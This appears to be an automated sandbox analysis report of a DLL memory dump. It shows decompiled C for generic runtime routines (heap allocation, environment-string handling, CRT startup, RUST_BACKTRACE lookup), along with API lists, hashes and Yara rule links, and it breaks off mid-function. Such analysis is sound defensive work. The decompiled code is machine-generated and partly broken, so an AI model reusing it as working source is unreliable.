0x6edb1414
0x6edb141b
0x6edb1421
0x6edb1422
0x6edb1435
0x00000000
0x6edb1435
0x6edb1337
0x6edb1337
0x6edb133e
0x6edb144d
0x6edb1457
0x6edb145c
0x6edb1460
0x6edb147b
0x6edb1344
0x6edb1344
0x00000000
0x6edb1344
0x6edb133e
0x6edb1335

APIs

Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC97D6
Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC97F4
Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC980D
Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC980F
Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC9816
Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC9834

GetProcessHeap.KERNEL32 ref: 6EDB1337
HeapAlloc.KERNEL32(02ED0000,00000000,00023000), ref: 6EDB1351
HeapFree.KERNEL32(00000000,?), ref: 6EDB1435

Strings

'`Ly, xrefs: 6EDB1319

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick$Heap$AllocFreeProcess
String ID: '`Ly
API String ID: 2047189075-560155178
Opcode ID: 0213fe565b25cfa66977187c71ba67f15cb3d8b3ea90f96619f95ea693b4df30
Instruction ID: 480b7ffb11b8ce6057448955db3893466856a04c1eee1b9ac2f2bc76e457b79c
Opcode Fuzzy Hash: 0213fe565b25cfa66977187c71ba67f15cb3d8b3ea90f96619f95ea693b4df30
Instruction Fuzzy Hash: B9518870A00B448FD3258F65D880B56BBF8FF58758F108A2DD8968BB45E735F5098BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD1AA1, Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E6EDD1AA1() {
				intOrPtr _v8;
				signed int _v12;
				WCHAR* _t5;
				void* _t6;
				intOrPtr _t9;
				WCHAR* _t10;
				WCHAR* _t19;
				WCHAR* _t26;
				WCHAR* _t29;

				_push(_t21);
				_t5 = GetEnvironmentStringsW();
				_t29 = _t5;
				if(_t29 != 0) {
					_t6 = E6EDD1A6A(_t29);
					_t19 = 0;
					_v12 = _t6 - _t29 >> 1;
					_t9 = E6EDD19B3(0, 0, _t29, _t6 - _t29 >> 1, 0, 0, 0, 0);
					_v8 = _t9;
					if(_t9 != 0) {
						_t10 = E6EDCFC29(_t9); // executed
						_t26 = _t10;
						_push(0);
						if(_t26 != 0) {
							_push(0);
							_push(_v8);
							_push(_t26);
							_push(_v12);
							_push(_t29);
							_push(0);
							_push(0);
							if(E6EDD19B3() != 0) {
								E6EDD05C3(0);
								_t19 = _t26;
							} else {
								E6EDD05C3(_t26);
							}
							FreeEnvironmentStringsW(_t29);
							_t5 = _t19;
						} else {
							E6EDD05C3();
							FreeEnvironmentStringsW(_t29);
							_t5 = 0;
						}
					} else {
						FreeEnvironmentStringsW(_t29);
						_t5 = 0;
					}
				}
				return _t5;
			}

0x6edd1aa7
0x6edd1aa9
0x6edd1aaf
0x6edd1ab3
0x6edd1abb
0x6edd1ac0
0x6edd1ace
0x6edd1ad1
0x6edd1ad9
0x6edd1ade
0x6edd1aed
0x6edd1af2
0x6edd1af5
0x6edd1af8
0x6edd1b0b
0x6edd1b0c
0x6edd1b0f
0x6edd1b10
0x6edd1b13
0x6edd1b14
0x6edd1b15
0x6edd1b20
0x6edd1b2b
0x6edd1b30
0x6edd1b22
0x6edd1b23
0x6edd1b23
0x6edd1b34
0x6edd1b3a
0x6edd1afa
0x6edd1afa
0x6edd1b01
0x6edd1b07
0x6edd1b07
0x6edd1ae0
0x6edd1ae1
0x6edd1ae7
0x6edd1ae7
0x6edd1b3d
0x6edd1b40

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6EDD1AA9

Part of subcall function 6EDD19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDD3B22,?,00000000,-00000008), ref: 6EDD1A5F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EDD1AE1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EDD1B01

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 1dc5baad474f00f13d1a23c0d8fe91de97fd84c68adf7a5d6a6ffb878550db3d
Instruction ID: 5627557b0267d3ee7189d0b1839bffa8ce2ab181525f0d86ed8fb5d664e8e461
Opcode Fuzzy Hash: 1dc5baad474f00f13d1a23c0d8fe91de97fd84c68adf7a5d6a6ffb878550db3d
Instruction Fuzzy Hash: 9C11D2B5A05A19BFAB0257F69DC9CEF6A6CDE872993010825F801D2140FB70DE0E83B1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCA114, Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6EDCA114(void* __ebx, void* __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, void* __eflags, void* __fp0) {
				void* _t43;
				char _t44;
				signed int _t48;
				signed int _t54;
				signed int _t55;
				signed int _t56;
				signed int _t59;
				signed char _t67;
				signed int _t69;
				void* _t80;
				signed int _t86;
				void* _t90;
				void* _t102;
				signed int _t110;
				signed int _t115;
				signed int _t119;
				intOrPtr* _t121;
				void* _t123;
				void* _t140;

				_t140 = __fp0;
				_t113 = __esi;
				_t106 = __edi;
				_t105 = __edx;
				_push(0x10);
				E6EDCAC90(__ebx, __edi, __esi);
				_t43 = E6EDCA96D(__ecx, __edx, 0); // executed
				_t90 = 0x6ee07d60;
				if(_t43 == 0) {
					L11:
					_t44 = 0;
					__eflags = 0;
					goto L12;
				} else {
					 *((char*)(_t123 - 0x1d)) = E6EDCA872();
					_t85 = 1;
					 *((char*)(_t123 - 0x19)) = 1;
					 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
					_t132 =  *0x6ee0b158;
					if( *0x6ee0b158 != 0) {
						E6EDCAB0C(_t105, __edi, __esi, 7);
						asm("int3");
						_push(0x10);
						_push(0x6ee07d80);
						E6EDCAC90(1, __edi, __esi);
						_t48 =  *0x6ee0ae14; // 0x0
						__eflags = _t48;
						if(_t48 > 0) {
							 *0x6ee0ae14 = _t48 - 1;
							 *(_t123 - 0x1c) = 1;
							 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
							 *((char*)(_t123 - 0x20)) = E6EDCA872();
							 *(_t123 - 4) = 1;
							__eflags =  *0x6ee0b158 - 2;
							if( *0x6ee0b158 != 2) {
								E6EDCAB0C(_t105, 1, _t113, 7);
								asm("int3");
								_push(0xc);
								_push(0x6ee07da8);
								E6EDCAC90(1, 1, _t113);
								_t110 =  *(_t123 + 0xc);
								__eflags = _t110;
								if(_t110 != 0) {
									L23:
									 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
									__eflags = _t110 - 1;
									if(_t110 == 1) {
										L26:
										_t86 =  *(_t123 + 0x10);
										_t115 = E6EDCA3D6( *((intOrPtr*)(_t123 + 8)), _t110, _t86);
										 *(_t123 - 0x1c) = _t115;
										__eflags = _t115;
										if(_t115 != 0) {
											_t55 = E6EDCA0C1(_t90,  *((intOrPtr*)(_t123 + 8)), _t110, _t86); // executed
											_t115 = _t55;
											 *(_t123 - 0x1c) = _t115;
											__eflags = _t115;
											if(_t115 != 0) {
												goto L28;
											}
										}
									} else {
										__eflags = _t110 - 2;
										if(_t110 == 2) {
											goto L26;
										} else {
											_t86 =  *(_t123 + 0x10);
											L28:
											_t56 = E6EDB1290(_t86, _t110, _t115, _t140,  *((intOrPtr*)(_t123 + 8)), _t110, _t86); // executed
											_t115 = _t56;
											 *(_t123 - 0x1c) = _t115;
											__eflags = _t110 - 1;
											if(_t110 == 1) {
												__eflags = _t115;
												if(_t115 == 0) {
													_t59 = E6EDB1290(_t86, _t110, _t115, _t140,  *((intOrPtr*)(_t123 + 8)), _t56, _t86);
													__eflags = _t86;
													_t34 = _t86 != 0;
													__eflags = _t34;
													_push((_t59 & 0xffffff00 | _t34) & 0x000000ff);
													L14();
													_pop(_t90);
													E6EDCA3D6( *((intOrPtr*)(_t123 + 8)), _t115, _t86);
												}
											}
											__eflags = _t110;
											if(_t110 == 0) {
												L33:
												_t115 = E6EDCA0C1(_t90,  *((intOrPtr*)(_t123 + 8)), _t110, _t86);
												 *(_t123 - 0x1c) = _t115;
												__eflags = _t115;
												if(_t115 != 0) {
													_t115 = E6EDCA3D6( *((intOrPtr*)(_t123 + 8)), _t110, _t86);
													 *(_t123 - 0x1c) = _t115;
												}
											} else {
												__eflags = _t110 - 3;
												if(_t110 == 3) {
													goto L33;
												}
											}
										}
									}
									 *(_t123 - 4) = 0xfffffffe;
									_t54 = _t115;
								} else {
									__eflags =  *0x6ee0ae14 - _t110; // 0x0
									if(__eflags > 0) {
										goto L23;
									} else {
										_t54 = 0;
									}
								}
								 *[fs:0x0] =  *((intOrPtr*)(_t123 - 0x10));
								return _t54;
							} else {
								E6EDCA93D(1, _t90, 1, _t113);
								E6EDCA7F9();
								E6EDCAC5B();
								 *0x6ee0b158 =  *0x6ee0b158 & 0x00000000;
								 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
								E6EDCA2B0();
								_t67 = E6EDCAADE(_t90,  *((intOrPtr*)(_t123 + 8)), 0);
								asm("sbb esi, esi");
								_t119 =  ~(_t67 & 0x000000ff) & 1;
								__eflags = _t119;
								 *(_t123 - 0x1c) = _t119;
								 *(_t123 - 4) = 0xfffffffe;
								E6EDCA2BD();
								_t69 = _t119;
								goto L18;
							}
						} else {
							_t69 = 0;
							L18:
							 *[fs:0x0] =  *((intOrPtr*)(_t123 - 0x10));
							return _t69;
						}
					} else {
						 *0x6ee0b158 = 1;
						if(E6EDCA8CF(_t132) != 0) {
							E6EDCA7ED(E6EDCAC2F());
							E6EDCA811();
							_t80 = E6EDCE791(0x6edd817c, 0x6edd818c); // executed
							_pop(_t102);
							if(_t80 == 0 && E6EDCA8A4(1, _t102) != 0) {
								E6EDCE766(0x6edd8158, 0x6edd8178); // executed
								 *0x6ee0b158 = 2;
								_t85 = 0;
								 *((char*)(_t123 - 0x19)) = 0;
							}
						}
						 *(_t123 - 4) = 0xfffffffe;
						E6EDCA1F7();
						if(_t85 != 0) {
							goto L11;
						} else {
							_t121 = E6EDCAB06();
							_t138 =  *_t121;
							if( *_t121 != 0) {
								_push(_t121);
								if(E6EDCAA2D(_t85, _t106, _t121, _t138) != 0) {
									 *0x6edd8154( *((intOrPtr*)(_t123 + 8)), 2,  *(_t123 + 0xc));
									 *((intOrPtr*)( *_t121))();
								}
							}
							 *0x6ee0ae14 =  *0x6ee0ae14 + 1;
							_t44 = 1;
						}
						L12:
						 *[fs:0x0] =  *((intOrPtr*)(_t123 - 0x10));
						return _t44;
					}
				}
			}

0x6edca114
0x6edca114
0x6edca114
0x6edca114
0x6edca114
0x6edca11b
0x6edca122
0x6edca127
0x6edca12a
0x6edca201
0x6edca201
0x6edca201
0x00000000
0x6edca130
0x6edca135
0x6edca138
0x6edca13a
0x6edca13d
0x6edca141
0x6edca148
0x6edca215
0x6edca21a
0x6edca21b
0x6edca21d
0x6edca222
0x6edca227
0x6edca22c
0x6edca22e
0x6edca235
0x6edca23d
0x6edca240
0x6edca249
0x6edca24c
0x6edca24f
0x6edca256
0x6edca2c5
0x6edca2ca
0x6edca2cb
0x6edca2cd
0x6edca2d2
0x6edca2d7
0x6edca2da
0x6edca2dc
0x6edca2ed
0x6edca2ed
0x6edca2f1
0x6edca2f4
0x6edca300
0x6edca300
0x6edca30d
0x6edca30f
0x6edca312
0x6edca314
0x6edca31f
0x6edca324
0x6edca326
0x6edca329
0x6edca32b
0x00000000
0x00000000
0x6edca32b
0x6edca2f6
0x6edca2f6
0x6edca2f9
0x00000000
0x6edca2fb
0x6edca2fb
0x6edca331
0x6edca336
0x6edca33b
0x6edca33d
0x6edca340
0x6edca343
0x6edca345
0x6edca347
0x6edca34e
0x6edca353
0x6edca355
0x6edca355
0x6edca35b
0x6edca35c
0x6edca361
0x6edca367
0x6edca367
0x6edca347
0x6edca36c
0x6edca36e
0x6edca375
0x6edca37f
0x6edca381
0x6edca384
0x6edca386
0x6edca392
0x6edca3ba
0x6edca3ba
0x6edca370
0x6edca370
0x6edca373
0x00000000
0x00000000
0x6edca373
0x6edca36e
0x6edca2f9
0x6edca3bd
0x6edca3c4
0x6edca2de
0x6edca2de
0x6edca2e4
0x00000000
0x6edca2e6
0x6edca2e6
0x6edca2e6
0x6edca2e4
0x6edca3c9
0x6edca3d5
0x6edca258
0x6edca258
0x6edca25d
0x6edca262
0x6edca267
0x6edca26e
0x6edca272
0x6edca27c
0x6edca288
0x6edca28a
0x6edca28a
0x6edca28c
0x6edca28f
0x6edca296
0x6edca29b
0x00000000
0x6edca29b
0x6edca230
0x6edca230
0x6edca29d
0x6edca2a0
0x6edca2ac
0x6edca2ac
0x6edca14e
0x6edca14e
0x6edca15f
0x6edca166
0x6edca16b
0x6edca17a
0x6edca180
0x6edca183
0x6edca198
0x6edca19f
0x6edca1a9
0x6edca1ab
0x6edca1ab
0x6edca183
0x6edca1ae
0x6edca1b5
0x6edca1bc
0x00000000
0x6edca1be
0x6edca1c3
0x6edca1c5
0x6edca1c8
0x6edca1ca
0x6edca1d3
0x6edca1e1
0x6edca1e7
0x6edca1e7
0x6edca1d3
0x6edca1e9
0x6edca1f1
0x6edca1f1
0x6edca203
0x6edca206
0x6edca212
0x6edca212
0x6edca148

APIs

__RTC_Initialize.LIBCMT ref: 6EDCA161

Part of subcall function 6EDCA7ED: InitializeSListHead.KERNEL32(6EE0B140,6EDCA16B,6EE07D60,00000010,6EDCA0FC,?,?,?,6EDCA324,?,00000001,?,?,00000001,?,6EE07DA8), ref: 6EDCA7F2

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6EDCA1CB

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: cffbb455ac3b327e9009fcbd32dbc2b6d33a7f8e19719683f7471990718091f2
Instruction ID: d85ee0a8fd583b8d312293bfea184c11777f7cfc4d033a1b6b3ecbcf792fca42
Opcode Fuzzy Hash: cffbb455ac3b327e9009fcbd32dbc2b6d33a7f8e19719683f7471990718091f2
Instruction Fuzzy Hash: 2421F0359842A5EADB416BF489057D8376D9F02EECF200C09D4A72B2C1DB224449C7B3

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD0566, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDD0566(signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				signed int _t18;
				long _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x6ee0b5d8, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E6EDD2E1C();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E6EDCF90F())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E6EDCE7CE(__eflags, _t19);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x6edd056c
0x6edd0571
0x6edd057f
0x6edd057f
0x6edd0585
0x6edd0587
0x6edd0587
0x6edd059e
0x6edd05a7
0x6edd05af
0x00000000
0x00000000
0x6edd058f
0x6edd0591
0x6edd05b3
0x6edd05b8
0x6edd05be
0x00000000
0x6edd05be
0x6edd0594
0x6edd059a
0x6edd059c
0x00000000
0x00000000
0x6edd059c
0x00000000
0x6edd059e
0x6edd0577
0x6edd057d
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,6EDD017F,00000001,00000364,?,FFFFFFFF,000000FF,?,?,6EDCA44C,?,?,6EDC99B4), ref: 6EDD05A7

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ec9fbf597a5240961a1396449912076dadafc56d8f0dea46755101a5fc05fa25
Instruction ID: b70fac70955b8c34959902c880ac3845bfa36d1b0b38b59a8f5446541b87ef3e
Opcode Fuzzy Hash: ec9fbf597a5240961a1396449912076dadafc56d8f0dea46755101a5fc05fa25
Instruction Fuzzy Hash: 84F0B431544625A7EF515BE69D10B9E375EEBC17E0B104121EC14A7184EB20EA1887F1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCFC29, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDCFC29(long _a4) {
				void* _t4;
				void* _t6;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E6EDCF90F())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x6ee0b5d8, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E6EDD2E1C();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E6EDCE7CE(__eflags, _t8);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x6edcfc2f
0x6edcfc35
0x6edcfc67
0x6edcfc6c
0x6edcfc72
0x00000000
0x6edcfc72
0x6edcfc39
0x6edcfc3b
0x6edcfc3b
0x6edcfc52
0x6edcfc5b
0x6edcfc63
0x00000000
0x00000000
0x6edcfc43
0x6edcfc45
0x00000000
0x00000000
0x6edcfc48
0x6edcfc4e
0x6edcfc50
0x00000000
0x00000000
0x6edcfc50
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6EDCA44C,?,?,6EDC99B4,00000400,FFFDD001,?,?,?), ref: 6EDCFC5B

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0b014e4cf887d57c26583f25933714066f9473e6415ede8033019ff6bed97466
Instruction ID: 52119b916f45f1df65d19ad1bd8a7f689743d6bbce3b3022654a1575ea2d6578
Opcode Fuzzy Hash: 0b014e4cf887d57c26583f25933714066f9473e6415ede8033019ff6bed97466
Instruction Fuzzy Hash: EDE03921349626ABEA5117E69E80BEA66CD9F42FE4F210521ACA497180CF32C81192B3

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EDBD530, Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 445
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6EDBD530(signed int __ebx, long* __ecx, signed int __edi, long __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				long _v40;
				void* _v44;
				void* _v48;
				long _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long* _v76;
				signed int _v80;
				signed int _v1096;
				long _v1100;
				void* _v1104;
				void* __ebp;
				void* _t142;
				void* _t143;
				void* _t148;
				signed int _t149;
				intOrPtr _t151;
				void* _t155;
				void* _t157;
				signed int _t158;
				signed int _t160;
				void** _t161;
				void* _t167;
				long _t171;
				signed int _t172;
				long _t173;
				void* _t179;
				void* _t181;
				long _t194;
				signed int _t195;
				signed char _t196;
				signed int _t199;
				signed int _t200;
				signed int _t211;
				signed int _t213;
				signed int _t214;
				void* _t218;
				intOrPtr _t220;
				signed int _t223;
				intOrPtr* _t224;
				intOrPtr _t226;
				signed int _t228;
				char* _t229;
				signed int _t230;
				signed int _t232;
				signed int _t238;
				signed int _t241;
				signed int _t242;
				WCHAR* _t247;
				long _t248;
				signed int _t249;
				signed int _t252;
				char* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				signed char* _t273;
				signed int _t274;
				void* _t280;
				intOrPtr _t281;

				_t262 = __esi;
				_t245 = __edi;
				_t192 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t281 = _t280 - 0x440;
				_v32 = _t281;
				_v20 = 0xffffffff;
				_v24 = E6EDC3B80;
				_v76 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t142 =  *0x6ee0adc8; // 0x2ed0000
				if(_t142 != 0) {
					L3:
					_t143 = HeapAlloc(_t142, 0, 0xa);
					if(_t143 == 0) {
						goto L94;
					} else {
						_t264 = "UST_BACKTRACE";
						_t241 = 1;
						_t211 = 0;
						 *_t143 = 0x52;
						_v1104 = _t143;
						_v1100 = 5;
						_v1096 = 1;
						_v44 = 0;
						while(1) {
							_v36 = _t211;
							if(_t211 == 0) {
								goto L10;
							}
							_v44 = 0;
							_t211 = 0;
							if(_t241 != _v1100) {
								L6:
								_t245 = _v36;
								 *((short*)(_t143 + _t241 * 2)) = _v36;
								_t241 = _t241 + 1;
								_v1096 = _t241;
								continue;
							} else {
								L13:
								_v40 = _t264;
								_v20 = 0;
								_v48 = _t241;
								_t188 =  <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11;
								_t189 = ( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2;
								asm("sbb eax, 0x0");
								_t190 = (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2;
								E6EDD7370( &_v1104, _t241, (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2);
								_t281 = _t281 + 4;
								_t143 = _v1104;
								_t241 = _v48;
								_t264 = _v40;
								_t211 = _v44;
								goto L6;
							}
							L10:
							__eflags = _t264 - 0x6edfd2be;
							if(_t264 != 0x6edfd2be) {
								_t196 =  *_t264 & 0x000000ff;
								_t229 =  &(_t264[1]);
								_t249 = _t196 & 0x000000ff;
								__eflags = _t196;
								if(_t196 < 0) {
									_v36 = _t249 & 0x0000001f;
									__eflags = _t229 - 0x6edfd2be;
									if(_t229 == 0x6edfd2be) {
										_t230 = 0;
										__eflags = _t196 - 0xdf;
										_t252 = 0;
										_v40 = 0x6edfd2be;
										if(_t196 > 0xdf) {
											goto L25;
										} else {
											_v36 = _v36 << 6;
											_t264 = 0x6edfd2be;
											_t211 = 0;
											__eflags = _t241 - _v1100;
											if(_t241 != _v1100) {
												goto L6;
											} else {
												goto L13;
											}
										}
									} else {
										_t238 = _t264[1] & 0x000000ff;
										_t264 =  &(_t264[2]);
										_t230 = _t238 & 0x0000003f;
										__eflags = _t196 - 0xdf;
										if(_t196 <= 0xdf) {
											_t199 = _v36 << 0x00000006 | _t230;
											__eflags = _t199 - 0xffff;
											if(_t199 > 0xffff) {
												goto L32;
											} else {
												goto L22;
											}
										} else {
											__eflags = _t264 - 0x6edfd2be;
											if(_t264 == 0x6edfd2be) {
												_t252 = 0;
												__eflags = 0;
												_v40 = 0x6edfd2be;
											} else {
												_v40 =  &(_t264[1]);
												_t252 =  *_t264 & 0x3f;
											}
											L25:
											_t232 = _t230 << 0x00000006 | _t252;
											__eflags = _t196 - 0xf0;
											if(_t196 < 0xf0) {
												_t199 = _v36 << 0x0000000c | _t232;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 > 0xffff) {
													goto L32;
												} else {
													goto L22;
												}
											} else {
												_t273 = _v40;
												__eflags = _t273 - 0x6edfd2be;
												if(_t273 == 0x6edfd2be) {
													_t274 = 0;
													__eflags = 0;
													_v40 = 0x6edfd2be;
												} else {
													_v40 =  &(_t273[1]);
													_t274 =  *_t273 & 0x3f;
												}
												_t199 = _t232 << 0x00000006 | (_v36 & 0x00000007) << 0x00000012 | _t274;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 <= 0xffff) {
													L22:
													_v36 = _t199;
													_t211 = 0;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												} else {
													L32:
													_t200 = _t199 + 0xffff0000;
													_v40 = _t264;
													_v36 = _t200 >> 0x0000000a | 0x0000d800;
													_t264 = _v40;
													_t211 = _t200 & 0x000003ff | 0x0000dc00;
													_v44 = _t211;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								} else {
									_t264 = _t229;
									_v36 = _t249;
									_t211 = 0;
									__eflags = _t241 - _v1100;
									if(_t241 != _v1100) {
										goto L6;
									} else {
										goto L13;
									}
								}
								goto L96;
							}
							_t242 = _v1096;
							asm("movsd xmm0, [ebp-0x44c]");
							_v64 = _t242;
							asm("movsd [ebp-0x44], xmm0");
							__eflags = _t242 - 8;
							_t213 = _t242;
							_t148 = _v72;
							_t265 = _t148;
							if(_t242 < 8) {
								L45:
								_t214 = _t213 + _t213;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									__eflags = _t214;
									if(_t214 == 0) {
										break;
									}
									_t214 = _t214 + 0xfffffffe;
									__eflags =  *_t265;
									_t265 = _t265 + 2;
									if(__eflags != 0) {
										continue;
									} else {
										goto L48;
									}
									goto L96;
								}
								__eflags = _t242 - _v68;
								if(_t242 == _v68) {
									_v20 = 1;
									E6EDD7370( &_v72, _t242, 1);
									_t281 = _t281 + 4;
									_t148 = _v72;
									_t242 = _v64;
								}
								 *((short*)(_t148 + _t242 * 2)) = 0;
								asm("movsd xmm0, [ebp-0x44]");
								asm("movsd [ebp-0x38], xmm0");
								_t149 = _v60;
								__eflags = _t149;
								_v36 = _t149;
								if(_t149 == 0) {
									goto L75;
								} else {
									_v80 = _v56;
									E6EDCC310(_t245,  &_v1104, 0, 0x400);
									_t281 = _t281 + 0xc;
									_t155 =  *0x6edfd0bc; // 0x2
									_t194 = 0x200;
									_t262 = 0;
									_v60 = _t155;
									_v56 = 0;
									_v48 = _t155;
									_v52 = 0;
									__eflags = 0x200 - 0x201;
									if(0x200 >= 0x201) {
										L65:
										_t157 = _t194 - _t262;
										__eflags = _v56 - _t262 - _t157;
										if(_v56 - _t262 < _t157) {
											_v44 = _t194;
											_v20 = 5;
											E6EDD7370( &_v60, _t262, _t157);
											_t281 = _t281 + 4;
											_t194 = _v44;
											_v48 = _v60;
										}
										_t247 = _v48;
										_t262 = _t194;
										_v52 = _t194;
										_v40 = _t194;
									} else {
										L68:
										_t247 =  &_v1104;
										_v40 = 0x200;
									}
									L69:
									_v44 = _t247;
									SetLastError(0);
									_t158 = GetEnvironmentVariableW(_v36, _t247, _t194);
									_t245 = _t158;
									__eflags = _t158;
									if(_t158 != 0) {
										L71:
										__eflags = _t245 - _t194;
										if(_t245 != _t194) {
											L63:
											__eflags = _t245 - _t194;
											_t192 = _t245;
											if(_t245 < _t194) {
												_t239 = _v40;
												_v20 = 5;
												__eflags = _t245 - _v40;
												if(__eflags > 0) {
													goto L95;
												} else {
													_push(_t245);
